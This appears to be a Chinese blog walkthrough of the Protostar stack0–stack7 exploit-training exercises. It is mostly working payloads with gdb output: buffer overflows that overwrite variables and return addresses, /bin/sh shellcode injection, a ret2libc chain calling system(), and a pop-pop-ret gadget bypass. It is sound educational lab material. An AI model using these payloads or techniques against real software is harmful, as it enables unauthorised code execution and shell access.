继续上一个系列nebula的升级版：protostar stack 0 这个题是最简单的栈溢出，目的是让大家明白栈溢出可以修改内存中的变量。 #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } 可以看到局部变量有两个，一个是int类型，另一个是char数组，通常情况下，两个变量在栈中是这个样子的。 buff buff buff buff ... buff modified 所以我们输入64个junk byte，然后加个1就可以把modified覆盖成1了。 payload: 12341234123412341234123412341234123412341234123412341234123412341111 stack 1 基本上和上一题一样，目的是让我们区分大小端，从代码中可以看到，这里比较的是modified和0x61626364，即abcd，但是要进行大小端转换，输入的abcd在内存中会变成dcba，所以为了得到到abcd，需要输入dcba。 payload: $ ./stack1 1234123412341234123412341234123412341234123412341234123412341234dcba stack 2 代码同样没有多大改变，只是从环境变量中读取内容，最后出现了不可见字符，直接输入是不可能了，借助一下python，pyload如下： user@protostar:/opt/protostar/bin$ export GREENIE=`python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'"` user@protostar:/opt/protostar/bin$ ./stack2 you have correctly modified the variable stack 3 这里代码变化较大： #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } } 这个题的目的是让我改掉EIP，这里提供了一个函数指针，所以只要将这个函数指针的地址覆盖为win()的地址就可以了，免去了覆盖返回地址的问题。首先通过objdump获取win()的地址。 user@protostar:/opt/protostar/bin$ objdump -d stack3 .... 08048424 <win>: 8048424: 55 push %ebp 8048425: 89 e5 mov %esp,%ebp 8048427: 83 ec 18 sub $0x18,%esp 804842a: c7 04 24 40 85 04 08 movl $0x8048540,(%esp) 8048431: e8 2a ff ff ff call 8048360 <puts@plt> 8048436: c9 leave 8048437: c3 ret .... 多余部分这里略去了，可以看到win()函数的地址是0x08048424，但是由于大小端问题，需要变成0x24840408，然后可以构造出payload： user@protostar:/opt/protostar/bin$ python -c "print 'a'*64 + '\x24\x84\x04\x08'" | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed stack 4 这一题变成了正常的栈溢出问题了，需要覆盖返回地址。 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); } 同样的先来确定win()函数的地址： user@protostar:/opt/protostar/bin$ objdump -d stack3 ... 080483f4 <win>: 80483f4: 55 push %ebp 80483f5: 89 e5 mov %esp,%ebp 80483f7: 83 ec 18 sub $0x18,%esp 80483fa: c7 04 24 e0 84 04 08 movl $0x80484e0,(%esp) 8048401: e8 26 ff ff ff call 804832c <puts@plt> 8048406: c9 leave 8048407: c3 ret ... 这里略去多余部分。直接构造payload： user@protostar:/opt/protostar/bin$ python -c "print 'A'*76+'\xf4\x83\x04\x08'" | ./stack4 code flow successfully changed Segmentation fault 至于为啥要填充76个字节，用gdb调试一下就知道了，也可以使用pattern.py进行测试。 stack 5 到这里已经几乎是真实环境了，这里需要自己填充shellcode了，从网上找一个执行/bin/sh的shellcode吧，当然需要对应环境，下面这个是最简单的execve("/bin/sh")的命令 shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80" 这里还是推荐使用zio或者pwntools之类的东西。然而这是Debian 6.0，装个pwntools还要折腾。 首先确定溢出点： user@protostar:~$ python pattern.py create 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A user@protostar:/opt/protostar/bin$ gdb ./stack5 GNU gdb (GDB) 7.0.1-debian Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /opt/protostar/bin/stack5...done. (gdb) run Starting program: /opt/protostar/bin/stack5 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Program received signal SIGSEGV, Segmentation fault. 0x63413563 in ?? () user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x63413563 hex pattern decoded as: c5Ac 76 确定了偏移量是76。这样构造'A'*76+retAddress即可。下面来找返回地址，建议通过core dump来寻找。 user@protostar:/opt/protostar/bin$ python -c "print 'A'*76+'BBBB'" | ./stack5 Segmentation fault (core dumped) 如果没有生成core dump文件，可能需要修改/proc/sys/fs/suid_dumpable的值。 user@protostar:/opt/protostar/bin$ gdb ./stack5 /tmp/core.11.stack5.4833 Loaded symbols for /lib/ld-linux.so.2 Core was generated by `./stack5'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) x/10s $esp-80 0xbffff7b0: "ABCD", 'A' <repeats 110 times> 0xbffff823: "" 0xbffff824: "`\370\377\277&\006\377\267\260\372\377\267(\033\376\267\364\177", <incomplete sequence \375\267> 0xbffff839: "" 0xbffff83a: "" 0xbffff83b: "" 0xbffff83c: "" 0xbffff83d: "" 0xbffff83e: "" 0xbffff83f: "" 因为溢出点在76字节处，还需要增加4个字节的返回地址，所以buffer的地址是76+4=80字节处，所以地址为0xbffff7b0。然后就可以写payload了。 ret = 0xbffff7b0 shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80" payload = shellcode + 'A' * (76 - len(shellcode)) + struct.pack("<I",ret) 搞定，如果觉得PWN完了没有效果，可以尝试下面这个shellcode，下面这个会打印出一个字符串。 \x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80 stack 6 这题目难度比前面几个增加了一点，限制了返回地址，提示了好几种方法，包括ret2libc, ROP等。 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); } 溢出点很容易找到，就是那个gets()导致了溢出。首先来找偏移量吧。 user@protostar:/opt/protostar/bin$ python /home/user/pattern.py create 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A user@protostar:/opt/protostar/bin$ gdb ./stack6 (gdb) run Starting program: /opt/protostar/bin/stack6 input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Program received signal SIGSEGV, Segmentation fault. 0x37634136 in ?? () user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x37634136 hex pattern decoded as: 6Ac7 80 偏移量是80，所以我们需要构造'A'*80+retAddress这样的字符串，下面寻找返回地址。 user@protostar:/opt/protostar/bin$ ./stack6 input path please: ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA got path ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped) user@protostar:/opt/protostar/bin$ gdb -q ./stack6 /tmp/core.11.stack6.5674 Core was generated by `./stack6'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) x/10x $esp-84 0xbffff79c: 0x44434241 0x41414141 0x41414141 0x41414141 0xbffff7ac: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7bc: 0x41414141 0x41414141 得到了返回地址0xbffff79c，如果返回到这个地址的话，看起来好像绕不过限制，先试一下。 import struct shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80" ret = 0xbffff79c payload = shellcode + 'A' * (80-len(shellcode)) + struct.pack("<I",ret) print payload 结果： user@protostar:/opt/protostar/bin$ python /home/user/stack6-exp.py | ./stack6 input path please: bzzzt (0xbffff79c) 还是直接ret2libc吧，我们需要重新构造我们的payload： | Junk Code | system_addr | ret | bin/sh addr | 其中ret为system函数执行完的返回地址，需要注意一下。 先来找system函数和/bin/sh字符串的地址： (gdb) print system $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system> (gdb) print __libc_start_main $2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void), void *)} 0xb7eadb90 <__libc_start_main> (gdb) find 0xb7eadb90, +2200000, "/bin/sh" 0xb7fba23f warning: Unable to access target memory at 0xb7fd9647, halting search. 1 pattern found. (gdb) x/s 0xb7fba23f 0xb7fba23f: "KIND in __gen_tempname\"" 这里找到了system()函数的地址：0xb7ecffb0 遇到了奇葩的问题，没有找到/bin/sh字符串，那就放到环境变量里吧。 user@protostar:~$ export BINSH="/bin/sh" user@protostar:~$ echo $BINSH /bin/sh user@protostar:/opt/protostar/bin$ /home/user/getenvaddr BINSH ./stack6 BINSH will be at 0xbfffff88 getenvaddr的源码如下： #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s <environment var> <target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* Get env var location. */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */ printf("%s will be at %p\n", argv[1], ptr); } 到这里已经可以构造payload了。 import struct exit_addr = 0xb7ec60c0 binsh_addr = 0xbfffff88 system_addr = 0xb7ecffb0 payload = 'A' * 80 + struct.pack("<I", system_addr) + struct.pack("<I", exit_addr) + struct.pack("<I", binsh_addr) print payload 其实是打成功了，主要是suid的权限会被system丢弃，所以看起来没啥反应，大家可以把system的参数换掉试试。 user@protostar:/opt/protostar/bin$ python /home/user/stack6-exp.py | ./stack6 input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA°ÿ춁AAAAAAAAAAA°ÿ츀`췈ÿÿ¿ user@protostar:/opt/protostar/bin$ 效果如下： user@protostar:/opt/protostar/bin$ echo $BINSH echo hello ... 修改payload ... user@protostar:/opt/protostar/bin$ python /home/user/stack6-exp.py | ./stack6 input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA°ÿ춁AAAAAAAAAAA°ÿ츀`췅ÿÿ¿ hello stack 7 这个题把返回地址限制的更死了，只要是0xb*就会被ban掉。 题目提示是return到.text端，并且提示了一个工具，可以试一下。先把前期的准备工作做好。 user@protostar:/opt/protostar/bin$ gdb ./stack7 Reading symbols from /opt/protostar/bin/stack7...done. (gdb) r Starting program: /opt/protostar/bin/stack7 input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Program received signal SIGSEGV, Segmentation fault. 0x37634136 in ?? () user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x37634136 hex pattern decoded as: 6Ac7 80 这里我们可以找到一个在.text段，代码是pop xxx; ret之类的地方即可。先随便找一个，通过objdump就可以了。 80485f7: 5b pop %ebx 80485f8: 5d pop %ebp 80485f9: c3 ret 就这里吧，payload大概应该是这个样子： 'A'*80 + p32(0x080485f7) + junk*8 + shellcode_addr 写起来试试： import struct shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0" shellcode += "\x04\xb3\x01\x68\x64\x21\x21\x21\x68" shellcode += "\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd" shellcode += "\x80\xb0\x01\x31\xdb\xcd\x80" jump_addr = 0x080485f7 shellcode_addr = 0xbffff79c payload = shellcode + 'A' * (80-len(shellcode)) payload += struct.pack("<I", jump_addr) + 'B' * 8 payload += struct.pack("<I", shellcode_addr) 看看结果： user@protostar:/opt/protostar/bin$ python ~/stack7-exp.py | ./stack7 input path please: got path 1ﾱٱǱҰ³hd!!!hOwǹ°1܍AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB Owned!!! 到这里stack环节就结束了，进入下一个环节。